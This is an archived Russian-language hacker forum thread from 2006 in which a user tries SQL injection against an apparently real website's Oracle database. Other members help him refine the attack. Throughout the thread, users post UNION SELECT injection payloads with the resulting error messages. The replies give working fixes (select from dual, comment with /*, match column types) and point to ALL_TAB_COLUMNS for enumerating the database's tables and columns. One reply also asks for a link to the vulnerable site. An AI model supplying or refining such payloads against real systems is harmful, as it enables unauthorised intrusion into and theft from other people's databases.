PDA

Просмотр полной версии : SQL injection в Oracl. Подскажите/помогите.


m2infect
02.08.2006, 13:03
Всем доброго дня/вечера/ночи!
Хочу выполнить SQL injection. Но ТОЛЬКО! хотеть - этого мало, нужно УМЕТЬ!, посему создана эта тема.
Сообственно ошибка.
SELECT
c.clientss_id, c.clientss_name, nc.news_clientss_inf,
TO_CHAR(nc.news_clientss_date, `DD.MM.YY`) news_date1,
nc.news_clientss_inform, nc.news_clientss_id
FROM
ANY.NEWS_CLIENTSS nc, ANY.clientss c
where
c.clientss_id=nc.clientss_id and c.clientss_id=33`
ORDER BY
nc.news_clientss_date DESC

Структура запроса.
SELECT ....... FROM ........ where ............. ORDER BY
Дописываю его.
33 union select 1,2,3,4,5,6 from nc-
таблица или представление пользователя не существует
0 union select 1,2,3,4,5,6 from clients_name--
таблица или представление пользователя не существует

Пробывал множество вариантов, и если честно - встал в тупик.
А особенно после этого.
1 union select 1,2,3,4,7,6,7 from ANY.clientss c--
в блоке запроса неверное число столбцов результата
Если добавить/убрать столбцы - результат ош. не меняется. Ну это понятно почему.
Далее...
1 union select 1,2,3,4,7,`6` from ANY.clientss c--
`6`: недопустимый идентификатор
пишу
1 union select 1,2,3,4,7,6 from ANY.clientss c--
в ответ `NC`.`NEWS_CLIENTSS_DATE`: недопустимый идентификатор
как так получилось? :confused: :mad:
1 union select 1,2,3,4,7,6 from ANY.clientss where `1`=`1`--
неверен реляционный оператор

О иньк. в оракл мало что нашел.
Что можно еще попробывать?
Буду очень благодарен, за ссылки/подсказки.

С уважением.

ZaCo
02.08.2006, 15:44
1) в скл-запросе к оракл-серверу все идет не одной строкой, поэтому коментирование \"--\" не корректно.
2) сначала сделай from dual. когда сообщение об ошибке исчезнет попробуй обратиться к
ALL_TAB_COLUMNS. ну а дальше попробуй вытащить table_name и column_name ;)

m2infect
02.08.2006, 17:08
1) в скл-запросе к оракл-серверу все идет не одной строкой, поэтому коментирование `--` не корректно.
2) сначала сделай from dual. когда сообщение об ошибке исчезнет попробуй обратиться к
ALL_TAB_COLUMNS. ну а дальше попробуй вытащить table_name и column_name ;)

Спасибо за ответ.

1 union select 1,2,3,4,5,6 from dual
`NC`.`NEWS_CLIENTS_DATE`: недопустимый идентификатор

Почему? - ведь этот запрос уже был...
Или так задуманно?

podkashey
04.08.2006, 03:11
1) ZaCo правильно заметил - надо комментировать /*. При использовании union упорядочить (order by) можно только по номерам столбцов (например order by 1,3).
2) Там 6 колонок всего или ты описался.
3) При использовании union в Oracle типы столбцов должны совпадать.
Должно сработать (перепиши для своего случая): union select 1, '1', to_date('01012005','ddmmyyyy') from dual/*
Где первый столбец целые, второй строка, третий дата.
Дальше как и сказал ZaCo - вытаскиваешь таблицы, столбцы итд. Если прав будет хватать конечно. ;)
P.S. Оракл пишется Oracle ;)))
P.P.S. Если не сложно, скинь в ПМ ссылку на сайт с оракл-инж. Не разу не видел просто
Удачи!